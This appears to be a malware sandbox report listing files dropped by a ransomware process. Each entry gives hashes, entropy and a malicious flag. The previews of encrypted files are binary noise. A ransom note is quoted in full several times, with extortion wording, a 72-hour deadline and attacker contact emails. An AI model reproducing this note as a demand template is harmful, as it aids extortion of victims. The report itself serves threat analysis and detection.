                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4821
                                                                                                                                                                Entropy (8bit):7.911204798801033
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:GgIAVVMllT92Bype/BFG2Ty8gAPj3JlDTM8RsZcgcrRn2XFfQ:kqST94ype/BFUqzLD48RsN+RQQ
                                                                                                                                                                MD5:C0AEA143E9D4CF546A94916D5DD0F70E
                                                                                                                                                                SHA1:100E1685B60F820267BB55DC43E480A8F1C8221D
                                                                                                                                                                SHA-256:FE507EBC76DE5C2F8662681459D044F33F247592CBF3AAB9C938E331FBCD839D
                                                                                                                                                                SHA-512:34202B1799BE0121BD08CA5E374E551718DEC02E749D27F4630EC3CE49349673B131C98CEF73578C08A259C8218A327ED236EC82872C65BEAD0732F529CEC63B
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:9.`..{..b..J.A......{...0q..!.=...L..aj.F..M....v...V...R^.=(.2!......='....g...{.v....N..F%.t..Zz.KI.`#.z..../.g.g.n......p.q.....\........47.~=X\........].......]{....=.R)..r@.m.3.aah..6..cR6W..1;S.F...j.)H .[.y..@=..R...%.....Q..9...e<e.C.2.x.1.@d...s?..x..G....(t.&%.c/Iw>...:2...P..=....CI..m.C..K.EH..*..o.o.M....b..$....Z.L.IuK=.Ma...Q1|Q.;.....*..... .>ST....x ......FZP.....s.Eh.q..?.b....#r.v...6o"..? (.:.sL.....;.U..2-.=..=..$.:w.q!.=.~..$..:...O.6[..,"..-6...'..R.H.vn........,..?..g...~vl..bRm....>...QAf.....*.r..j..N...{.*...m......Q....m.Q..AE..P.}_..H8.v@.y......p.~7.[...o..........!.....6y.+`..^.."....I.^.b.=.th*..kqf[C..j..#*....Tz@.*.>,.X.$l.5......V.....T".2.....20..r*.2...7.....;q..O..W.jL...6a.[.ZQ...^......R..9%./e...........y....wZ..b. ......2`..Od.y{......Z.kW.........AU4.Lq.....I......ar.H.l0...<..7D2..q.[.3.l./....{+PZg..$..RSW..u.5..}~...J.....K|.x..<.m."}Md:E..Y....;.....k.S4_."...^...Y.g\.....Q..S..o.8.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4821
                                                                                                                                                                Entropy (8bit):7.911204798801033
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:GgIAVVMllT92Bype/BFG2Ty8gAPj3JlDTM8RsZcgcrRn2XFfQ:kqST94ype/BFUqzLD48RsN+RQQ
                                                                                                                                                                MD5:C0AEA143E9D4CF546A94916D5DD0F70E
                                                                                                                                                                SHA1:100E1685B60F820267BB55DC43E480A8F1C8221D
                                                                                                                                                                SHA-256:FE507EBC76DE5C2F8662681459D044F33F247592CBF3AAB9C938E331FBCD839D
                                                                                                                                                                SHA-512:34202B1799BE0121BD08CA5E374E551718DEC02E749D27F4630EC3CE49349673B131C98CEF73578C08A259C8218A327ED236EC82872C65BEAD0732F529CEC63B
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:9.`..{..b..J.A......{...0q..!.=...L..aj.F..M....v...V...R^.=(.2!......='....g...{.v....N..F%.t..Zz.KI.`#.z..../.g.g.n......p.q.....\........47.~=X\........].......]{....=.R)..r@.m.3.aah..6..cR6W..1;S.F...j.)H .[.y..@=..R...%.....Q..9...e<e.C.2.x.1.@d...s?..x..G....(t.&%.c/Iw>...:2...P..=....CI..m.C..K.EH..*..o.o.M....b..$....Z.L.IuK=.Ma...Q1|Q.;.....*..... .>ST....x ......FZP.....s.Eh.q..?.b....#r.v...6o"..? (.:.sL.....;.U..2-.=..=..$.:w.q!.=.~..$..:...O.6[..,"..-6...'..R.H.vn........,..?..g...~vl..bRm....>...QAf.....*.r..j..N...{.*...m......Q....m.Q..AE..P.}_..H8.v@.y......p.~7.[...o..........!.....6y.+`..^.."....I.^.b.=.th*..kqf[C..j..#*....Tz@.*.>,.X.$l.5......V.....T".2.....20..r*.2...7.....;q..O..W.jL...6a.[.ZQ...^......R..9%./e...........y....wZ..b. ......2`..Od.y{......Z.kW.........AU4.Lq.....I......ar.H.l0...<..7D2..q.[.3.l./....{+PZg..$..RSW..u.5..}~...J.....K|.x..<.m."}Md:E..Y....;.....k.S4_."...^...Y.g\.....Q..S..o.8.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):316
                                                                                                                                                                Entropy (8bit):7.312209289313839
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:miUtsEI0Asfzd+sFHz/mmfc03qEomEb/iCzc8flv0C/wkuPhdmn:CeEI0ZNFHz/mmfcaqEozb/ip8flvTfyy
                                                                                                                                                                MD5:3DEBC6C69928EDA7D298058BFA6A8A53
                                                                                                                                                                SHA1:1A8AFD4E747B0187527DD9CB3EB71B8652777C36
                                                                                                                                                                SHA-256:F631A5A29A8EF72D94408409A838F24EBF5A6148A178A5B560BBC36519D2418E
                                                                                                                                                                SHA-512:12580C859864845A1FCF73FC33C314548BA619BF928D555C455B90790E098904BA2D16BFC2A11AEE9F7D8C131A1292B966D43FA5F26250BBB1D2F4FAC0145443
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.(...p8.}.z.3 0.j......=_bg...i......\....s7}...*.H..:`Y&...:.?'..u.&(j...;...f.......}~j1*`...u....N..|......f..LK..k...kL...J{..&...%......o#j..A<..U}Z..Y-..k^....a[y...o.o..;..J...!..a.p.xZk.uv`.(r. F>..j.S.M.{......(...i.>r...74.1.....6.N.)...];...G..i...c....J5.H..I..FiXDi.l.Z.A.1..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):316
                                                                                                                                                                Entropy (8bit):7.312209289313839
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:miUtsEI0Asfzd+sFHz/mmfc03qEomEb/iCzc8flv0C/wkuPhdmn:CeEI0ZNFHz/mmfcaqEozb/ip8flvTfyy
                                                                                                                                                                MD5:3DEBC6C69928EDA7D298058BFA6A8A53
                                                                                                                                                                SHA1:1A8AFD4E747B0187527DD9CB3EB71B8652777C36
                                                                                                                                                                SHA-256:F631A5A29A8EF72D94408409A838F24EBF5A6148A178A5B560BBC36519D2418E
                                                                                                                                                                SHA-512:12580C859864845A1FCF73FC33C314548BA619BF928D555C455B90790E098904BA2D16BFC2A11AEE9F7D8C131A1292B966D43FA5F26250BBB1D2F4FAC0145443
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.(...p8.}.z.3 0.j......=_bg...i......\....s7}...*.H..:`Y&...:.?'..u.&(j...;...f.......}~j1*`...u....N..|......f..LK..k...kL...J{..&...%......o#j..A<..U}Z..Y-..k^....a[y...o.o..;..J...!..a.p.xZk.uv`.(r. F>..j.S.M.{......(...i.>r...74.1.....6.N.)...];...G..i...c....J5.H..I..FiXDi.l.Z.A.1..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):98570
                                                                                                                                                                Entropy (8bit):0.6453135509630918
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:Xc3rrOU4k3EehstMZ8eV48Vp+FCziH1uKkYlTqhV8snx30M:Mwk3Dl2eSWpgLkKkYl2TP
                                                                                                                                                                MD5:7143544DA21EFFD48EE401D85DA5041C
                                                                                                                                                                SHA1:3FA0CCA5034CA88B3386984CEFE30E4B22229E77
                                                                                                                                                                SHA-256:DDC236E8A9160010891D2EFF9E1CEF605E9033C090BE29F0C4F28C5DB6A37332
                                                                                                                                                                SHA-512:F64CF28F5A2F4E09472FFF1200711CF8551BEB14A7F87B556D7F32280A08316366FFBEDBD98DDE14FB9FC8EFD92C6310A6B815FBB8768115DD1720EC3D1458A3
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:....b0Z..*.+..cmK..F.EH4.......i...1{.u...6.5.a5%.g7p..,..fj...$.w4..x.6`.....(z..M.m@R...g.x.3..VKHc.^.O..I...<..#..).p"j.?4..p.T..@v.X.K.Zq...6......k.ZtT8.Z.]...x&*.Zd8.T..C(..@.xc..q...2w., .,.3.a..AX.@....l.......3.'.]..;.\Lya.\.b.....b.+|0...^.{..{6....N....]b.h..rK..l\2...Z...6.<..A.......w...yz|J.w.)..C....<+..p".6...0..3........)[S...).[.SY...<...*.du......."?.s&........S.....T.7..^R...(c3.%.f!!..1...9..Khf$^.6..d.G..:k...qK.$..k..c..d..\.....Y....k8+..`.T......0a.~.....Xw.d....,....p.5.b....)....r._.C..X...y.......@+,yzn.5...\z8......~`.N.....p.N..{.....x.....De.rs...d..%F.Y......yc.y.....*.x.@g.B...@.*.y.W..N\U.....\.7....>..y.*.(2..p...O...O......C.&^..F&v....$.yK........x-..c.(u...AL0b. .V<.j......TP...O......q.[....P.F..z.@Qk.v.......n.RBP'.m...O..f.#:...>.!1...".b6..J.=B..O.E...Y..sy<....,..L7Yt.H.C..+...#...-.*..Sx.d..H..*.P!.+"S..O].qq.~.G-@...eAY...BZ..YK..08.s...A.s..K.o..U*.}H......^c.v..w .N...TQ....*9.,.7..I...~?...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.608611535332336
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:z9+4Pq+5k9pJH2huojaF+9wYapYrd0B6y5s++Y9OmS:z9+PUEp2kkas6irE+AdS
                                                                                                                                                                MD5:D96A7EA98B0A4D111DA214CA85A4B394
                                                                                                                                                                SHA1:3C0FEF914E0A57645070DE01FA00C29F44D9D871
                                                                                                                                                                SHA-256:9E9A7DDB3BF7AF1BE5B5ABE40446167BB8578B36B0D7D0D83645F246ACD97722
                                                                                                                                                                SHA-512:A8F69033A319022B56B262BBF6FA5DCD39729E65480F06654A9E8B970F5CCBDC68F49289FF1A052C41C53B5CD8D0CC728C92B323064E362EAD94E0847A19DE9F
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:....'....<...M.8....e ..%{F.../...).........#4FJ...<.,..\...7..8m.:.Ii@;p....U"<...l.X....(.v3.....a...FvA.C{.l.....$*af.<!.....1.Z..eC:.$w.7....Vd....B.5.mv._.m......Q_.........T............$...J...`N......K.....A.....z....Y..b.:..qh..TAu...W.z(L...P.....D.o..l'm....L4Ks.CH9.'5@.d.hb.5~f.^o.......w..^rMN...o..c....$..T.;.a.S......@.#hl=J.)c'.nG%z../.eg..3.G-I+.....r..q.WTg....9.........(iY.fsQ1.x.i.v;...2...H-P.X.,Rj....R...c.....?...O...1Q.Y..6..x..6y.I.]T.)=;....;..nWb..."...].P!+.C.}.f.).@.|uC....5(K6b..........6..Y5.4.{..(;.H...dy..H..>U..Yc..en..On.jb.......&x......b-..)....1.&W$\JF.gf`.......'e......P..m...z,d0(.... ..S.c......9...6T...C..HX#>.Sb.n.S......c.j.2R.o._.....v..:........-...q.......5.x...F.D...:X.q.-.k...o..p..q.~......|.........z.W<.c..a.BO...w....?..^.jh[hh.6.|..G.e......J...?.u@L..^fie..~..D.L.z.Q...]....t..+.@...g......'N..G4.)AN.X..5o..`....G....B.e..x6=.wH......C..QZ.....).7%.q@...W.,.Z8.....LCv,R....$.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.608611535332336
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:z9+4Pq+5k9pJH2huojaF+9wYapYrd0B6y5s++Y9OmS:z9+PUEp2kkas6irE+AdS
                                                                                                                                                                MD5:D96A7EA98B0A4D111DA214CA85A4B394
                                                                                                                                                                SHA1:3C0FEF914E0A57645070DE01FA00C29F44D9D871
                                                                                                                                                                SHA-256:9E9A7DDB3BF7AF1BE5B5ABE40446167BB8578B36B0D7D0D83645F246ACD97722
                                                                                                                                                                SHA-512:A8F69033A319022B56B262BBF6FA5DCD39729E65480F06654A9E8B970F5CCBDC68F49289FF1A052C41C53B5CD8D0CC728C92B323064E362EAD94E0847A19DE9F
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....'....<...M.8....e ..%{F.../...).........#4FJ...<.,..\...7..8m.:.Ii@;p....U"<...l.X....(.v3.....a...FvA.C{.l.....$*af.<!.....1.Z..eC:.$w.7....Vd....B.5.mv._.m......Q_.........T............$...J...`N......K.....A.....z....Y..b.:..qh..TAu...W.z(L...P.....D.o..l'm....L4Ks.CH9.'5@.d.hb.5~f.^o.......w..^rMN...o..c....$..T.;.a.S......@.#hl=J.)c'.nG%z../.eg..3.G-I+.....r..q.WTg....9.........(iY.fsQ1.x.i.v;...2...H-P.X.,Rj....R...c.....?...O...1Q.Y..6..x..6y.I.]T.)=;....;..nWb..."...].P!+.C.}.f.).@.|uC....5(K6b..........6..Y5.4.{..(;.H...dy..H..>U..Yc..en..On.jb.......&x......b-..)....1.&W$\JF.gf`.......'e......P..m...z,d0(.... ..S.c......9...6T...C..HX#>.Sb.n.S......c.j.2R.o._.....v..:........-...q.......5.x...F.D...:X.q.-.k...o..p..q.~......|.........z.W<.c..a.BO...w....?..^.jh[hh.6.|..G.e......J...?.u@L..^fie..~..D.L.z.Q...]....t..+.@...g......'N..G4.)AN.X..5o..`....G....B.e..x6=.wH......C..QZ.....).7%.q@...W.,.Z8.....LCv,R....$.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.192318910131652
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:Xsg//AWCW+0T0Vl3vOw1QKl2DLAZaqL7V5bZr2nNmmmBwJn:XmWFTul3vD1QfA//PdrCNmeJn
                                                                                                                                                                MD5:815992059CC35D519546B4E3B67CA75A
                                                                                                                                                                SHA1:58F1F40F0FE34E0F840E6BDA72E39EFF20B9ECA1
                                                                                                                                                                SHA-256:AE3DD7621F91B603CA50FAA4B15589E60103E7D2C5EC1A2EC0117BF57353780B
                                                                                                                                                                SHA-512:1E85BBAA70638444986C41D6824B972ED40F7AD79F875C589D48FC94A1DD822C3C414E0315F3BEA895E83178674FECCA569AA9C5CACD3FE861689D9B48C05B3B
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:/...(....m..6.............3.. ._...0...v...x...of..OK...H.d.V...2H...R.+...'.u..PO..8u..l...Fy..t.U*...n.N.4....^.#..h.Y..t.I..0....MED..}........S*6....t{$.C-....Yc.X.(.\.L}l/....)z.....U...s.`!m...6.|...R...m.R...u...x.0o!E....J|..,..d`m...h......H....V|.r.H.....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):98570
                                                                                                                                                                Entropy (8bit):0.6453135509630918
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:Xc3rrOU4k3EehstMZ8eV48Vp+FCziH1uKkYlTqhV8snx30M:Mwk3Dl2eSWpgLkKkYl2TP
                                                                                                                                                                MD5:7143544DA21EFFD48EE401D85DA5041C
                                                                                                                                                                SHA1:3FA0CCA5034CA88B3386984CEFE30E4B22229E77
                                                                                                                                                                SHA-256:DDC236E8A9160010891D2EFF9E1CEF605E9033C090BE29F0C4F28C5DB6A37332
                                                                                                                                                                SHA-512:F64CF28F5A2F4E09472FFF1200711CF8551BEB14A7F87B556D7F32280A08316366FFBEDBD98DDE14FB9FC8EFD92C6310A6B815FBB8768115DD1720EC3D1458A3
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....b0Z..*.+..cmK..F.EH4.......i...1{.u...6.5.a5%.g7p..,..fj...$.w4..x.6`.....(z..M.m@R...g.x.3..VKHc.^.O..I...<..#..).p"j.?4..p.T..@v.X.K.Zq...6......k.ZtT8.Z.]...x&*.Zd8.T..C(..@.xc..q...2w., .,.3.a..AX.@....l.......3.'.]..;.\Lya.\.b.....b.+|0...^.{..{6....N....]b.h..rK..l\2...Z...6.<..A.......w...yz|J.w.)..C....<+..p".6...0..3........)[S...).[.SY...<...*.du......."?.s&........S.....T.7..^R...(c3.%.f!!..1...9..Khf$^.6..d.G..:k...qK.$..k..c..d..\.....Y....k8+..`.T......0a.~.....Xw.d....,....p.5.b....)....r._.C..X...y.......@+,yzn.5...\z8......~`.N.....p.N..{.....x.....De.rs...d..%F.Y......yc.y.....*.x.@g.B...@.*.y.W..N\U.....\.7....>..y.*.(2..p...O...O......C.&^..F&v....$.yK........x-..c.(u...AL0b. .V<.j......TP...O......q.[....P.F..z.@Qk.v.......n.RBP'.m...O..f.#:...>.!1...".b6..J.=B..O.E...Y..sy<....,..L7Yt.H.C..+...#...-.*..Sx.d..H..*.P!.+"S..O].qq.~.G-@...eAY...BZ..YK..08.s...A.s..K.o..U*.}H......^c.v..w .N...TQ....*9.,.7..I...~?...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.244870204542435
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:nELXamccQ4TeD3FbTPCKXkmXkWxbkKvyJs9nx+zKUOhAXn:ELX/ccQ/1qKXdkWByJsRYpOhAXn
                                                                                                                                                                MD5:8DB369F0D7496A5D6E602E26C06F59D0
                                                                                                                                                                SHA1:E5C682BEF8219E1539499CF151466BE95E2D2CAB
                                                                                                                                                                SHA-256:564E830AF527420AD848DF7A47CC7691997E7BE97C9373626E56E764E1F4A1D9
                                                                                                                                                                SHA-512:0F7E284C371563C92D0C9E667270DE34D694AC4BEF947D64FEF084224BA9E1514216736637C272465F2280B8EB2A89FBDC146F311C9D4FAFB4B679508F5B34C1
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:).{.D.R...f............N.E2.Z..G..e.."4.y...2!..@..c*.i..22DZ...X..b......q.....M...?=w.R..oL0.].|.L...<~c`.io9M,.K..,pd....l./.....cAf.p.j;.....1..@.uL.k9..I.N.p!.@3.-.....y3aSn...~.|!...-~.aN..hv@0.4K-.7kV.V.7...i.J.gu..E.....e.......~..E:.FWV..Wg..8+.ME....q...w..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):313
                                                                                                                                                                Entropy (8bit):7.308556816538441
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:R9FiN8RwY3IVWuHCnLE1cX960DEGIBPqvlT/e0VPwQq65tCKn6Wn:RLYU3IVWlWctfD6MBW0CuoK7n
                                                                                                                                                                MD5:21A9730E328F16FEE7D42EA47E092AA8
                                                                                                                                                                SHA1:D9A047C95CD038F1B6AF160BE0421234F4250802
                                                                                                                                                                SHA-256:7BB94EBC6E17150E1E64519B1CFDA091F1627C3B489287456D75906EE26CFC4F
                                                                                                                                                                SHA-512:1C9F8FEB4F0A0F54172E6F967EAAF5A9B025893A50B7CA17913009A9BFC7D8923DE25254E70F94C8F689DF9560D313D795B87486883921DFB0F74B3CE80B9EB1
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:Z#.L.4.#.l.......:Hv.Y.....)..stUse": null.}....>.mi1[....N.,.....J+BP....^.a.l:|.....Sg>..-..1.dh`f.b..9........,`=.uI...I....G..d.%.3..j5..w@..YUV.R.SW5.5............p.... g..2..x.AL.P.|...1c...n9..^`'Qqt.j.......0.YpB.[....J.E.7...nW*w...^a.N.......X....i...5...ZLT.|..(..iP..p..Y....\0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):313
                                                                                                                                                                Entropy (8bit):7.308556816538441
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:R9FiN8RwY3IVWuHCnLE1cX960DEGIBPqvlT/e0VPwQq65tCKn6Wn:RLYU3IVWlWctfD6MBW0CuoK7n
                                                                                                                                                                MD5:21A9730E328F16FEE7D42EA47E092AA8
                                                                                                                                                                SHA1:D9A047C95CD038F1B6AF160BE0421234F4250802
                                                                                                                                                                SHA-256:7BB94EBC6E17150E1E64519B1CFDA091F1627C3B489287456D75906EE26CFC4F
                                                                                                                                                                SHA-512:1C9F8FEB4F0A0F54172E6F967EAAF5A9B025893A50B7CA17913009A9BFC7D8923DE25254E70F94C8F689DF9560D313D795B87486883921DFB0F74B3CE80B9EB1
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:Z#.L.4.#.l.......:Hv.Y.....)..stUse": null.}....>.mi1[....N.,.....J+BP....^.a.l:|.....Sg>..-..1.dh`f.b..9........,`=.uI...I....G..d.%.3..j5..w@..YUV.R.SW5.5............p.... g..2..x.AL.P.|...1c...n9..^`'Qqt.j.......0.YpB.[....J.E.7...nW*w...^a.N.......X....i...5...ZLT.|..(..iP..p..Y....\0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):341
                                                                                                                                                                Entropy (8bit):7.358370396978785
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:T1vtVwgyzBbuHvBRfrEY3gctIuX78i7tWN1A2LORd/mZw3UIX9rofkU1wd3mn:hvt3ypk5r6ctRXgihMA2LORFiwkIXi/9
                                                                                                                                                                MD5:25EC292149095E17C6D6DB989012F66A
                                                                                                                                                                SHA1:80645EDEAD7A3D714E1DF4CE72AB4BC0484681A8
                                                                                                                                                                SHA-256:580AD48EB6715825A513160DF83C272B0C8BAC693F09AEBF4739FD15D1C53FF9
                                                                                                                                                                SHA-512:F977F2075B31AE709C6BE132F7155AAE771D1E10FF462213DBB73C23524E431689C720E7CF733FFB3AD154840E3BB0DD25B14E953FD3448CA1335755E0BA2F54
                                                                                                                                                                Malicious:true
